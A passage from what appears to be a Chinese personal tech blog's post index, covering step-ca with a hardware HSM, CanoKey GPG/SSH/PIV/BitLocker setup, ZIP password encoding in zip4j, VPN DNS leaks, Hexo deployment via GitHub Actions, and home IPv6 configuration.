1234# 新开一个窗口$ screen$ sudo -u step step-ca /etc/step-ca/config/ca.json# 记下fingerprint值,下面会用到 新开一个窗口 12345678$ unset STEPPATH$ step ca bootstrap --ca-url "https://ca.lab.d9lab.eu.org:4443" --fingerprint d6b3b9ef79a42aeeabcd5580b2b516458ddb25d1af4ea7ff0845e624ec1bb609The root certificate has been saved in /home/disappear9/.step/certs/root_ca.crt.The authority configuration has been saved in /home/disappear9/.step/config/defaults.json.# 来测试一下能不能正常签出证书$ step ca certificate "localhost" localhost.crt localhost.key$ step ca provisioner add acme --type acme --admin-name step 配置服务1234567891011121314151617181920212223242526272829$ sudo tee /etc/udev/rules.d/75-picohsm.rules > /dev/null << EOFACTION=="add", SUBSYSTEM=="usb", ENV{PRODUCT}=="20a0/4230/*", TAG+="systemd", SYMLINK+="picohsm"ACTION=="remove", SUBSYSTEM=="usb", ENV{PRODUCT}=="20a0/4230/*", TAG+="systemd"EOF$ sudo udevadm control --reload-rules$ sudo tee /etc/systemd/system/step-ca.service > /dev/null << EOF[Unit]Description=step-caBindsTo=dev-picohsm.deviceAfter=dev-picohsm.device[Service]User=stepGroup=stepExecStart=/bin/sh -c '/usr/local/bin/step-ca /etc/step-ca/config/ca.json'Type=simpleRestart=on-failureRestartSec=10[Install]WantedBy=multi-user.targetEOF$ sudo mkdir /etc/systemd/system/dev-picohsm.device.wants$ sudo ln -s /etc/systemd/system/step-ca.service /etc/systemd/system/dev-picohsm.device.wants/$ sudo systemctl daemon-reload$ sudo systemctl enable step-ca$ sudo init 6# 查看服务运行状态$ systemctl status step-ca (完)","link":"/build-ca-with-picohsm.html"},{"title":"Canokey Canary上手","text":"引言第一次接触Canokey还是在2021年,当时跟风买了CanoKey Pigeon首发,到手以后把GPG密钥塞进去再加到几个网站做认证器以后就一直是半吃灰状态,毕竟网站的登录不会天天掉,而GPG更是一万年没人给我发加密的信息,连用来git签名的次数都少(我懒)。 前段Canokey群抽奖送Canary测试版,本人有幸中得一个: 那这不再折腾一下似乎就有点不合适了。 环境确认硬件信息:  CanoKey Canary(3.0.0-rc2-0 dirty build)操作系统:  Windows 10 LTSB 21H2软件版本:  gpg4win 4.4 (gpg 2.4.7)  OpenSC 0.26.0 Canokey的功能主要有这几大块: 1234WebAuthn (Passkey)OTPOpenPGPPIV 我们分别来介绍怎么玩(也是给自己留个备忘)。 WebAuthn (Passkey) 然后就可以开始用作网站登录的认证了,这里不再赘述。 SSH FIDO参考WebAuthn (Passkey)所有命令均在PowerShell中运行确保安装的 OpenSSH 为 8.2 及以上版本 12ssh -Vsshd -V 本人测试过在当前环境下只有 Discoverable Credential(Resident Key)是可用的,non-discoverable credentials无论是使用 Windows 自带的 SSH 还是用 SK SSH Agent 转发均无法使用,原因未知,请不吝赐教。除此以外还有一个魔改版putty:putty-cac 本人没有测试过。由于本人并不常用Windows自带的SSH连接服务器,而且开SK SSH Agent还会占用Agent的端口,所以本人日常用的方案是下文中的 SSH with gpg agent,这里只是简单试试。 1ssh-keygen -t ed25519-sk -O resident 将生成的公钥文件 ~/.ssh/id_ed25519_sk.pub 中的内容添加到目标服务器的 authorized_keys 文件中。然后直接使用 Windows 自带的 SSH 或者开 SK SSH Agent 加载 ~/.ssh/id_ed25519_sk 后就可以使用了。 OTP建议是别用推荐使用 KeePass + KeeTrayTOTP 插件,或手机上的Stratum - Authenticator App (https://github.com/stratumauth/app) OpenPGP参考Canokey 指南:OTP,FIDO2,PGP 与 PIV所有命令均在PowerShell中运行 1.生成主密钥123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172$ gpg --expert --full-gen-keygpg (GnuPG) 2.3.4; Copyright (C) 2021 g10 Code GmbHThis is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.Please select what kind of key you want: (11) ECC (set your own capabilities)Your selection? 11# 推荐使用 ECC 算法Possible actions for this ECC key: Sign Certify AuthenticateCurrent allowed actions: Sign Certify (S) Toggle the sign capabilityYour selection? s# 主密钥只保留 Certify 功能,其他功能使用子密钥Possible actions for this ECC key: Sign Certify AuthenticateCurrent allowed actions: Certify (Q) FinishedYour selection? qPlease select which elliptic curve you want: (1) Curve 25519 *default*Your selection? 1Please specify how long the key should be valid. <n>y = key expires in n yearsKey is valid for? (0) 10yKey does not expire at allIs this correct? (y/N) y# 主密钥建议设置5-10年有效期,防止由于个人原因遗失后不可控。Real name: EditstEmail address: editst@example.comComment:You selected this USER-ID: "Editst <editst@example.com>"# 这里建议直接设置成GitHub上的对应的邮箱Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? oWe need to generate a lot of random bytes. It is a good idea to performsome other action (type on the keyboard, move the mouse, utilize thedisks) during the prime generation; this gives the random numbergenerator a better chance to gain enough entropy.# Windnows 下会弹出窗口输入密码,注意一定要保管好!!!gpg: revocation certificate stored as 'C:\\\\Users\\\\XXX\\\\AppData\\\\Roaming\\\\gnupg\\\\openpgp-revocs.d\\\\68697537A54B1F0BFC05E1D9787E848E1A98D086.rev'public and secret key created and signed.# 会自动生成吊销证书,注意保存到安全的地方pub ed25519/787E848E1A98D086 2022-01-01 [C] Key fingerprint = 6869 7537 A54B 1F0B FC05 E1D9 787E 848E 1A98 D086uid Editst <editst@example.com> 2.生成子密钥123456789101112$ gpg --fingerprint --keyid-format long -KC:\\Users\\XXX\\AppData\\Roaming\\gnupg\\pubring.kbx------------------------------------------------sec ed25519/787E848E1A98D086 2022-01-01 [C] Key fingerprint = 6869 7537 A54B 1F0B FC05 E1D9 787E 848E 1A98 D086uid [ultimate] Editst <editst@example.com>$ gpg --quick-add-key 68697537A54B1F0BFC05E1D9787E848E1A98D086 cv25519 encr 5y$ gpg --quick-add-key 68697537A54B1F0BFC05E1D9787E848E1A98D086 ed25519 auth 5y$ gpg --quick-add-key 68697537A54B1F0BFC05E1D9787E848E1A98D086 ed25519 sign 5y# 子密钥建议设置最多5年有效期 再次查看目前的私钥,可以看到已经包含了这三个子密钥。 12345678910111213gpg --fingerprint --keyid-format long -KC:\\Users\\XXX\\AppData\\Roaming\\gnupg\\pubring.kbx------------------------------------------------sec ed25519/787E848E1A98D086 2022-01-01 [C] Key fingerprint = 6869 7537 A54B 1F0B FC05 E1D9 787E 848E 1A98 D086uid [ultimate] Editst <editst@example.com>ssb ed25519/055917609C9C0D7B 2022-01-01 [S] [expires: 2024-01-01] Key fingerprint = E99F 3D15 7ACF 7E24 3DC8 FFE7 0559 1760 9C9C 0D7Bssb ed25519/05F4A6C335157258 2022-01-01 [A] [expires: 2024-01-01] Key fingerprint = C4B9 7EEC 4060 F856 7A4D 2956 05F4 A6C3 3515 7258ssb cv25519/C5B8214C3AD21C6C 2022-01-01 [E] [expires: 2024-01-01] Key fingerprint = E39E E067 3233 BD73 7ED1 15F1 C5B8 214C 3AD2 1C6C 3.备份 备份 备份1234567891011# 公钥$ gpg -ao public-key.pub --export 787E848E1A98D086# 吊销证书路径: %APPDATA%\\gnupg\\openpgp-revocs.d\\68697537A54B1F0BFC05E1D9787E848E1A98D086.rev# 主密钥和三个子密钥gpg -ao sec-key.asc --export-secret-key 787E848E1A98D086!gpg -ao sign-key.asc --export-secret-key 055917609C9C0D7B!gpg -ao auth-key.asc --export-secret-key 05F4A6C335157258!gpg -ao encr-key.asc --export-secret-key C5B8214C3AD21C6C! 把这些文件拿7z打个加密压缩包,密码用KeePass生成一个够长的保存,然后找个你喜欢的网盘存好或者刻张光盘放衣柜里。 4.导入 Canokey123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475$ gpg --edit-cardReader ...........: canokeys.org OpenPGP PIV OATH 0Manufacturer .....: CanoKeys......# 进入 Admin 模式gpg/card> adminAdmin commands are allowedgpg/card> passwdgpg: OpenPGP card no. xxxxxxxxxxxxxxxxxxxxxxxxxxx detected1 - change PIN2 - unblock PIN3 - change Admin PIN4 - set the Reset CodeQ - quit# PIN 和 Admin PIN 最好都要改掉......# 改完后退出gpg/card>quit$ gpg --edit-key 787E848E1A98D086sec ed25519/787E848E1A98D086 created: 2022-01-01 expires: never usage: C trust: ultimate validity: ultimatessb ed25519/055917609C9C0D7B created: 2022-01-01 expires: 2024-01-01 usage: Sssb ed25519/05F4A6C335157258 created: 2022-01-01 expires: 2024-01-01 usage: Assb cv25519/C5B8214C3AD21C6C created: 2022-01-01 expires: 2024-01-01 usage: E[ultimate] (1). Editst <editst@example.com>gpg> key 1 # 首先选中第一个子密钥gpg> keytocardPlease select where to store the key: (1) Signature keyYour selection? 1 # 选择对应插槽# 首先输入 OpenPGP 的密码,再输入 OpenPGP Applet 对应的 Admin PIN# 之后先反选 key 1,再依次选择 key 2,key 3,重复操作即可gpg> key 1gpg> key 2gpg> keytocardPlease select where to store the key: (3) Authentication keyYour selection? 3gpg> key 2gpg> key 3gpg> keytocardPlease select where to store the key: (2) Encryption keyYour selection? 2gpg> save # 保存修改# 查看 Canokey 状态,确认导入成功$ gpg --card-statusReader ...........: canokeys.org OpenPGP PIV OATH 0......General key info..: sub ed25519/055917609C9C0D7B 2022-01-01 Editst <editst@example.com>sec ed25519/787E848E1A98D086 created: 2022-01-01 expires: neverssb> cv25519/055917609C9C0D7B created: 2022-01-01 expires: 2024-01-01 card-no: F1D0 xxxxxxxxssb> ed25519/05F4A6C335157258 created: 2022-01-01 expires: 2024-01-01 card-no: F1D0 xxxxxxxxssb> ed25519/C5B8214C3AD21C6C created: 2022-01-01 expires: 2024-01-01 card-no: F1D0 xxxxxxxx 看到ssb>就可以删掉主密钥了: 1gpg --delete-secret-keys 787E848E1A98D086 5.使用 Canokey123456789101112131415161718192021# 导入公钥$ gpg --import public-key.pub$ gpg --edit-card$ gpg/card> fetch# 查看本地的私钥,确定已经指向了Canokey$ gpg --fingerprint --keyid-format long -KC:\\Users\\XXX\\AppData\\Roaming\\gnupg\\pubring.kbx------------------------------------------------sec# ed25519/787E848E1A98D086 2022-01-01 [C] Key fingerprint = 6869 7537 A54B 1F0B FC05 E1D9 787E 848E 1A98 D086uid [ultimate] Editst <editst@example.com>ssb> ed25519/055917609C9C0D7B 2022-01-01 [S] [expires: 2024-01-01] Key fingerprint = E99F 3D15 7ACF 7E24 3DC8 FFE7 0559 1760 9C9C 0D7B Card serial no. = F1D0 xxxxxxxxssb> ed25519/05F4A6C335157258 2022-01-01 [A] [expires: 2024-01-01] Key fingerprint = C4B9 7EEC 4060 F856 7A4D 2956 05F4 A6C3 3515 7258 Card serial no. = F1D0 xxxxxxxxssb> cv25519/C5B8214C3AD21C6C 2022-01-01 [E] [expires: 2024-01-01] Key fingerprint = E39E E067 3233 BD73 7ED1 15F1 C5B8 214C 3AD2 1C6C Card serial no. = F1D0 xxxxxxxx 5.1 Git Commit 签名1234$ git config --global user.signingkey 055917609C9C0D7B # 子密钥中的签名(S)密钥# 之后在 git commit 时增加 -S 参数即可使用 gpg 进行签名,或者直接全局开启:$ git config commit.gpgsign true 5.2 SSH with gpg agent首先在%AppData%\\gnupg\\gpg-agent.conf中写入(没有就新建一个): 123enable-win32-openssh-supportenable-ssh-supportenable-putty-support 然后运行gpg -k --with-keygrip获取 [A] Subkey 的 Keygrip(40位,虽然看着很像上面的fingerprint但是不一样),写入%AppData%\\gnupg\\sshcontrol(没有就新建一个),然后开任务管理器,找到gpg-agent.exe,右键结束进程树。然后运行gpg --card-status再把gpg-agent拉起来。 查看 openSSH 读取到的公钥信息,把输出的公钥信息添加到服务器的~/.ssh/authorized_keys 123$ ssh-add -Lssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAzFAR5puWAj0OflZJVzAJqejVEZCap2NhFJbzedYwX2 cardno:F1D0 xxxxxxxx Putty设置: MobaXterm设置: PIVCanoKey Canary 3.0.0版本的固件是有bug的,参见:https://docs.canokeys.org/ 但是问题不大,因为PIV一般根本用不到25519CanoKey有4个可以用的密钥槽(不算82、83):  9A:PIV Authentication  9E:Card Authentication  9C:Digital Signature  9D:Key Management虽然写了每个密钥槽是做什么的,但是其实你完全不用管,实际使用时大多可以想塞哪儿就塞哪儿。但是有个容易引发人强迫症的事需要注意,当OpenSC读取卡信息的时候,会以9a->9c->9d->9e的顺序读,也就是说假如你在9c槽存了一个CN=Disappear9 's CanoKey的证书,那么不管后面槽位的证书CN内容是什么,读卡时信息都会一直显示为9c的CN,直到9a存了证书。例如: 123456789101112131415yubico-piv-tool -r canokey -a statusVersion: 5.7.0Slot 9a: Algorithm: RSA2048 Subject DN: CN=Disappear9 's CanoKey, O=D9Lab, C=CN Issuer DN: CN=Disappear9 's CanoKey, O=D9Lab, C=CNSlot 9c: Algorithm: RSA2048 Subject DN: CN=disappear9@outlook.com Issuer DN: C=IT, ST=Bergamo, L=Ponte San Pietro, O=Actalis S.p.A., CN=Actalis Client Authentication CA G3Slot 9d: Algorithm: RSA2048 Subject DN: CN=TEST Issuer DN: CN=TESTPIN tries left: 3 在Thunderbird中查看时: 所以如果你和我一样容易突然犯强迫症,那么可以自己生成一个给Bitlocker用的证书放9a。 Bitlocker新建一个certreqcfg.ini文件注意:其中的Subject,NotBefore,NotAfter,这几项是可以随意更改的,剩下的不要动,尤其是有些人(比如我)看到2048位RSA会感觉啊好不安全然后改成4096,证书能生成能导入Bitlocker也能正常读到加锁,然后解密的时候就会突发恶疾智能卡无效导致你只能用恢复密钥解密(至少我在win10 LTSC 21H2 和 win11 LTSC上实验过全是这样)。 certreqcfg.ini123456789101112131415161718192021[NewRequest]Subject = "C=CN,O=D9Lab,CN=Disappear9 's CanoKey"NotBefore = 2025/01/01 00:00 AMNotAfter = 2035/01/01 00:00 AMExportable = TRUEKeyLength = 2048HashAlgorithm = "SHA512"EncryptionAlgorithm = "AES"EncryptionLength = 256KeySpec = "AT_KEYEXCHANGE"KeyUsage = "CERT_KEY_ENCIPHERMENT_KEY_USAGE"KeyUsageProperty = "NCRYPT_ALLOW_DECRYPT_FLAG"RequestType = CertSMIME = FALSE[EnhancedKeyUsageExtension]OID=1.3.6.1.5.5.7.3.1OID=1.3.6.1.5.5.7.3.2OID=1.3.6.1.4.1.311.67.1.1OID=1.3.6.1.4.1.311.10.3.4OID=1.3.6.1.4.1.311.10.3.12 运行命令certreq –new certreqcfg.ini certrequest.req如果没有错误,那么证书就已经成功生成并安装了。 运行命令certmgr.msc打开证书管理器 右键所有任务->导出,选择是,导出私钥,导出pfx文件命名为9a.pfx。 由于是自签名证书,需要添加注册表允许自签名以管理员权限运行命令 1reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\FVE /v SelfSignedCertificates /t REG_DWORD /d "1" 下载安装 yubico-piv-tool 12345678910111213141516# 确认是否能检测到Canokey$ yubico-piv-tool -r canokeys -a status# 修改 PIN、PUK$ yubico-piv-tool -r canokeys -a change-pin$ yubico-piv-tool -r canokeys -a change-puk# 导入密钥$ yubico-piv-tool -r canokeys -s 9a -i 9a.pfx -KPKCS12 -a import-key -a import-cert# 初始化 Card Holder Unique Identifier 和 CCC$ yubico-piv-tool -r canokeys -a set-chuid$ yubico-piv-tool -r canokeys -a set-ccc# 确认是否导入成功$ yubico-piv-tool -r canokeys -a status 至此,Canokey 就可以用于进行 Bitlocker 加密了。在使用 Bitlocker 时,选择“使用智能卡”即可。 清理与善后0.将导出的证书像对待上文中的GPG证书一样进行备份。1.删除导出的包含私钥的证书文件9a.pfx。2.在 Windows 的证书管理器中删掉生成的证书,证书同时存储在个人 和 中间证书颁发机构下,要同时删掉。3.删除申请证书过程中的 ini 和 req 文件。 S/MIME电子邮件加密准备工作从 Actalis 申请一个免费的S/MIME证书 参考免费申请S/MIME邮箱证书Actalis的免费证书没了,用Certum的吧,15欧元两年,教程参考:使用 S/MIME 证书签名并加密电子邮件安装 Thunderbird安装 OpenSC安装 yubico-piv-tool 导入证书: 1$ yubico-piv-tool -r canokeys -s 9c -i certificate.p12 -KPKCS12 -a import-key -a import-cert --pin-policy=once 如果你有不止一个邮箱的证书可以继续导入9d, 9e槽位,我们可以在导入命令的后面附加--pin-policy或--touch-policy选项覆盖掉默认规则,防止默认规则下9e槽位可以不经验证被直接使用。详细使用方法参考: https://developers.yubico.com/yubico-piv-tool/Manuals/yubico-piv-tool.1.html 冲突预防如果你依照上文配置了GPG,在不做修改的情况下GPG会和OpenSC起冲突。参考: GnuPG and PC/SC conflicts, episode 3在%AppData%\\gnupg\\scdaemon.conf中写入(没有就新建一个): 12disable-ccidpcsc-shared 然后开任务管理器,找到gpg-agent.exe(如有),右键结束进程树。 配置Thunderbird选择 C:\\Program Files\\OpenSC Project\\OpenSC\\pkcs11\\opensc-pkcs11.dll 加载后就可以看到Canokey了(重用一下上面的图) 选择与邮箱对应的证书 然后在写信时就可以选择签名/加密了 别人收到以后是这么一个效果:","link":"/canokey-canary.html"},{"title":"难绷的Zip与中文密码","text":"起因某天,我的朋友在QQ上转发给我了一个带密码的Zip压缩包 我看了一眼,双击后默认用WinRAR打开了,然后复制粘贴密码: 啊?密码错误? 我第一反应当然是怀疑是不是对面冲多了手滑,在输密码的时候不小心多打了点什么进去,但是经过我们10分钟的友好交流后,他确定以及肯定自己绝对没有手滑,还把传给我的压缩包重新下载下来 在手机上 把密码粘贴进去成功解压了。 我当时眉头一紧,立马感觉到自己似乎站到了坑的边缘。 试图复现:这里以我常用的文件管理器MiXplorer为例:新建一个Zip压缩包,密码这里MiXplorer正常情况下只允许输入英文+数字,但我们可以直接把中文密码粘贴进去: 然后在手机上测试解压:显然,是可以正常解压的,然后我们把这个压缩包传到电脑上(Win10)再次进行尝试: 原因分析:不用多想,一定是编码的问题,但我很好奇,为什么会这样?以及原来的密码究竟被编码成了什么? 首先,我们Google搜索java zip 中文密码,通过查找可以得知一个包:zip4j然后我们写一小段代码来试着解压它: 12345678910111213package main;import net.lingala.zip4j.ZipFile;public class UnZip { public static void main(String[] args) throws Throwable { String password = "测试"; ZipFile zipFile = new ZipFile("D:\\\\Work\\\\Temp\\\\chinese-zip-password\\\\27.zip"); zipFile.setPassword(password.toCharArray()); zipFile.extractAll("D:\\\\Work\\\\Temp\\\\chinese-zip-password\\\\d"); }} 运行,直接报错: 12Exception in thread "main" net.lingala.zip4j.exception.ZipException: Wrong password! 搜索得知安卓默认中文编码是UTF-8,然后在翻阅zip4j的文档,可以发现这样一个方法:setUseUtf8CharsetForPasswords 我们修改代码如下: 1234567891011121314package main;import net.lingala.zip4j.ZipFile;public class UnZip { public static void main(String[] args) throws Throwable { String password = "测试"; ZipFile zipFile = new ZipFile("D:\\\\Work\\\\Temp\\\\chinese-zip-password\\\\27.zip"); zipFile.setUseUtf8CharsetForPasswords(false); zipFile.setPassword(password.toCharArray()); zipFile.extractAll("D:\\\\Work\\\\Temp\\\\chinese-zip-password\\\\d"); }} 这次能成功运行了。运行是成了,但是为什么?通过方法名搜索我们找到了这样一个issue:https://github.com/srikanth-lingala/zip4j/issues/328 1234Using non-ascii characters for passwords is in a grey zone as far as zip specification is concerned. Some tools convert passwords to utf8 and some don't. With the change that you linked, zip4j converts the password to utf8 by default, and I guess Windows doesn't, and that's why it works fine in your case when you revert the utf8 conversion.I added an option to ZipFile api to use utf8 or not for password encoding and decoding. If you are sure that your zip file will only be used on windows, you can now generated the zip files by not using utf8. You can set this flag via ZipFile.setUseUtf8CharsetForPasswords(boolean). 意思大概是zip4j在遇到中文密码的时候会先把密码转UTF-8,但是windows不会。这解决了我第一个疑问,下面我们来研究第二个问题:原来的密码究竟被编码成了什么? 密码便乘变成什么样了?我们直接翻阅zip4j的源代码: src/main/java/net/lingala/zip4j/ZipFile.java1234public void setUseUtf8CharsetForPasswords(boolean useUtf8CharsetForPasswords) { this.useUtf8CharsetForPasswords = useUtf8CharsetForPasswords; } 继续跟: src/main/java/net/lingala/zip4j/crypto/StandardDecrypter.java1234567private void init(byte[] headerBytes, char[] password, long lastModifiedFileTime, long crc, boolean useUtf8ForPassword) throws ZipException { if (password == null || password.length <= 0) { throw new ZipException("Wrong password!", ZipException.Type.WRONG_PASSWORD); } zipCryptoEngine.initKeys(password, useUtf8ForPassword); 继续: src/main/java/net/lingala/zip4j/crypto/engine/ZipCryptoEngine.java123456789public void initKeys(char[] password, boolean useUtf8ForPassword) { keys[0] = 305419896; keys[1] = 591751049; keys[2] = 878082192; byte[] bytes = convertCharArrayToByteArray(password, useUtf8ForPassword); for (byte b : bytes) { updateKeys((byte) (b & 0xff)); }} 来了: src/main/java/net/lingala/zip4j/util/Zip4jUtil.java1234567891011121314public static byte[] convertCharArrayToByteArray(char[] charArray, boolean useUtf8Charset) { return useUtf8Charset ? convertCharArrayToByteArrayUsingUtf8(charArray) : convertCharArrayToByteArrayUsingDefaultCharset(charArray);}...... private static byte[] convertCharArrayToByteArrayUsingDefaultCharset(char[] charArray) { byte[] bytes = new byte[charArray.length]; for (int i = 0; i < charArray.length; i++) { bytes[i] = (byte) charArray[i]; } return bytes;} 我们把这段代码复制下来,然后再找一段将输出转为HEX的代码,组合起来试着运行看看: 123456789101112131415161718192021222324252627package main;public class UnZip { public static void main(String[] args) throws Throwable { String password = "克拉拉"; System.out.println(password.toCharArray()); byte[] encbytes = new byte[password.toCharArray().length]; for (int i = 0; i < password.toCharArray().length; i++) { encbytes[i] = (byte) password.toCharArray()[i]; } System.out.println(bytesToHex(encbytes)); } private static final char[] HEX_ARRAY = "0123456789ABCDEF".toCharArray(); private static String bytesToHex(byte[] bytes) { char[] hexChars = new char[bytes.length * 2]; for (int j = 0; j < bytes.length; j++) { int v = bytes[j] & 0xFF; hexChars[j * 2] = HEX_ARRAY[v >>> 4]; hexChars[j * 2 + 1] = HEX_ARRAY[v & 0x0F]; } return new String(hexChars); }} 输出: 12克拉拉4BC9C9 好,那么这个4B C9 C9是个什么东西?我们打开winhex,直接打进去看看:好,复制粘贴到WinRAR: 好,完工,又是涨奇怪知识的一天。","link":"/chinese-zip-password.html"},{"title":"当DNS泄漏让VPN不再安全,我们该怎么办?","text":"当你想要匿名上网时,用VPN是最简单的解决方案——你的IP地址,服务提供商和位置都会隐藏起来。但是,DNS泄漏完全可以让藏在VPN之后的你原形毕露。 科普:什么是DNS泄漏 域名系统(DNS)是关联网址(如www.makeuseof.com)和IP地址(54.221.192.241)的系统。当你使用浏览器访问一个网站,它会向DNS服务器发送你输入的地址请求,然后DNS服务器会指出其正确的IP地址。这是互联网如何工作的一个关键部分。 通常情况下,DNS服务器是由你的互联网服务提供商(ISP)所提供,这意味着他们可以监控、记录任何你发送到服务器的请求。当您使用虚拟专用网络(VPN)的时候,该DNS请求应该通过你的VPN被定向到一个匿名的DNS服务器防止ISP监视你的连接。 不幸的是,有时你的浏览器会忽视你打开的VPN,并会直接发送DNS请求到您的ISP。这就是所谓的一个DNS泄漏。这会导致你认为你已经匿名了、网络监控不到你,但事实上你不并会得到保护。 分析 如果你的计算机使用默认设置,并没有通过VPN的DNS服务器发送DNS请求,那么这个泄漏很难看出。你需要使用一个泄漏测试。这有一个网页你可以测试一下http://www.dnsleaktest.com 进入该网站,点击“标准测试”(如果你想了解更多监视的内容,您可以点击“扩展测试”——相对来说比较全面,但需要更长的时间)。如果看到自己的国家和ISP的结果显示在页面上,就可以知道,你的ISP在监视您的连接。 如何防止泄漏改变DNS服务器 如果你的默认DNS服务器是由你的ISP分配的,那么防止他们看到你在网上做了什么的最简单的方法之一是改变你的DNS服务器。即使你不担心DNS泄漏,更改默认的DNS服务器也是有好处的,因为这可以提高你的上网速度。 下面是维护好的DNS服务器,可以为您提供高性能和高安全性: OpenDns(首选:208.67.222.222,候补:208.67.222.220)Comodo Secure DNS(首选:8.26.56.26,候补:8.20.247.20)谷歌公共DNS(首选:8.8.8.8,候补:8.8.4.4) 使用带有DNS泄漏保护功能的VPN 一些VPN会监视你的DNS请求以确保能够通过VPN,如果你想看看是否你的VPN有这种保护,打开设置,你就会看到一个检查防范DNS漏洞的选项。 那么,哪些VPN会有这种DNS泄漏保护?根据BestVPNz.com,TorGuard(这两个网站向我们例举了最好的vpn)所提供的信息,VPNArea,PureVPN,ExpressVPN,VPN.AC和LiquidVPN都提供了这种保护功能。如果你正在使用这些VPN中的一个,请确保你的设置是否正确。如果你没有以上vpn并担心ISP监控你的行踪,你可能需要要考虑换个vpn。 使用VPN监控软件 某些VPN监控软件还包括修复DNS泄漏。 VPNCheck Pro版本和OpenVPN Watchdog有这个功能。 由于只有收费软件有修复泄漏这样的选项,很可能很多人一般不会考虑去使用。除非你使用了VPN监控软件确保您的VPN连接是完全安全的。 禁用Teredo Teredo是一个基于Windows的技术,本质上说,它允许转换两个IP通信协议:IPv4和IPv6。然而,Teredo有时会引起DNS泄漏,所以你可能要禁用它。 打开命令行,然后键入以下命令: netsh interface teredo set state disabled 如果哪天你需要重新启用Teredo,你可以使用这个命令: netsh interface teredo set state type=default 结语 如果你使用VPN, DNS泄漏可能会泄漏更多你想不到的信息,所以同志们,让我们堵住这个洞,不让信息泄漏出去。 参考来源makeuseof 译/江湖小吓 转载请注明来自FreeBuf黑客与极客(Freebuf.COM)","link":"/dns-leak.html"},{"title":"使用 GitHub Actions 自动部署Hexo","text":"2019年时给博客配置了Travis CI 自动构建,然后前几天准备发个文章,写完反手一个git push博客就崩了。 Hexo首先你的Hexo必须是已经在本地环境下配置好的,能正常运行hexo g。 生成&配置秘钥使用ssh-keygen生成一对秘钥 1ssh-keygen -t ed25519 -C "Hexo Deploy Key" -f github-deploy-key 直接回车,不要设置密码 在 GitHub 上打开仓库-> Settings -> Secrets添加一个Secrets,Name填HEXO_DEPLOY_KEY,Value把上面生成的私钥粘贴进去 打开仓库-> Settings -> Deploy keys添加一个Key,Title填HEXO_DEPLOY_PUB,Key把上面生成的公钥粘贴进去,勾选下面的Allow write access 准备文件创建一个空的分支,从原有的hexo源文件目录下拷贝这些文件&文件夹: scaffolds source themes _config.yml(hexo的) package.json 修改配置文件为了防止以后由于长时间未维护,主题或hexo更新导致的博客炸掉,所以配置主题为submodule。 1git submodule add https://github.com/JoeyBling/hexo-theme-yilia-plus themes/yilia 在_config.yml的最后添加一项theme_config: 参考:https://blog.xxwhite.com/2020/blog-ci.html#%E4%B8%BB%E9%A2%98%E5%AD%90%E6%A8%A1%E5%9D%97%E5%8C%96 配置Workflow创建一个新文件:.github/workflows/deploy.yml .github/workflows/deploy.yml1234567891011121314151617181920212223242526272829303132333435363738394041424344name: Hexo Deployon: push: branches: - source #被监控的分支,当这个分支有改动时触发jobs: build: runs-on: ubuntu-18.04 if: github.event.repository.owner.id == github.event.sender.id steps: - name: Checkout source uses: actions/checkout@v2 with: ref: source #hexo源文件所在的分支 - name: Setup Node.js uses: actions/setup-node@v1 with: node-version: '12' - name: Setup Hexo env: ACTION_DEPLOY_KEY: $ run: | mkdir -p ~/.ssh/ echo "$ACTION_DEPLOY_KEY" > ~/.ssh/id_ed25519 chmod 700 ~/.ssh chmod 600 ~/.ssh/id_ed25519 ssh-keyscan github.com >> ~/.ssh/known_hosts git config --global user.email "disappear9@outlook.com" #设置git提交时的Email git config --global user.name "Disappear9" #设置git提交时的用户名 npm install hexo-cli -g npm install git submodule update --init --recursive #拉取submodule rm themes/yilia/_config.yml #删除主题自带的配置文件 chmod +x deploy.sh - name: Deploy run: | hexo g ./deploy.sh 由于使用hexo d部署会让git的commit看起来很丑,所以把部署写进脚本deploy.sh(放在新建分支的根目录下) deploy.sh1234567891011121314#!/bin/bashset -evexport TZ='Asia/Shanghai'git clone --depth=1 -b master git@github.com:{用户名}/{仓库}.git .deploy_git #自己替换cd .deploy_gitgit checkout mastermv .git/ ../public/cd ../publicgit add .git commit -m "Site updated: `date +"%Y-%m-%d %H:%M:%S"`"git push origin master:master --force 加个Badge 参考:https://docs.github.com/cn/actions/managing-workflow-runs/adding-a-workflow-status-badge 1https://github.com/<OWNER>/<REPOSITORY>/workflows/Hexo%20Deploy/badge.svg 完https://github.com/Disappear9/disappear9.github.io/tree/source欢迎参考","link":"/hexo-on-action.html"},{"title":"在2024年配置IPv6是什么怎样一种体验","text":"Do not 手欠前段时间给宽带改了个套餐,公网IPv4没了,要也不给了,被迫开始转IPv6。 环境主路由:  ImmortalWrt 21.02系统:  Windows 10 LTSB 21H2  Debian 12(bookworm)  Ubuntu 22.04 LTS(jammy)ISP:  中国电信(DHCPv6-PD) 配置目标让需要提供服务的设备获取到稳定的隐私地址,即:1.不使用eui64(防止通过IPv6 SLAAC 地址反推客户端 MAC)。2.地址要尽量固定,方便写防火墙规则。 路由配置ImmortalWrt默认情况下直接拨号就会自动创建一个WAN6虚拟接口,可以说是十分的省心了。修改配置如图所示:租期改为12小时分配长度/64,eui64方式生成路由的地址手动设置通告的DNS,不使用运营商的开启SLAAC,配置M、O标签 这里的配置同时开启了Stateless(SLAAC)和Stateful(DHCPv6) 目前:  安卓设备只支持Stateless方式获取IPv6地址  类Debian系统对Stateless和Stateful的支持都相对完善  Windows系统(Window 10 21H2)对Stateless的支持相对完善,对Stateful的支持有问题 所以你完全可以按教程只使用Stateless,我同时开纯粹是没事找事。 UbuntuUbuntu 20+版本默认使用Netplan管理网络 /etc/netplan/00-default-config.yaml1234567891011121314network: version: 2 renderer: networkd ethernets: enp2s0: dhcp4: true dhcp6: true ipv6-privacy: false ipv6-address-token: ::dead:beef:114:514 # 这里的token可以自己随意改,只要符合规范就好 # 以这个token为例,假设ISP给的PD前缀是240e:1234:4567:9100::/64 # 虽然中国电信一般都是给/56,但是前面在路由的设置里改成了/64,中间隔开两个0地址好看一些 # 那么最终的地址会是240e:1234:4567:9100:dead:beef:114:514 Debian首先配置让networkd来管理网络 Bash12345mv /etc/network/interfaces /etc/network/interfaces.save mv /etc/network/interfaces.d /etc/network/interfaces.d.save systemctl enable systemd-networkd.service systemctl start systemd-networkd.service 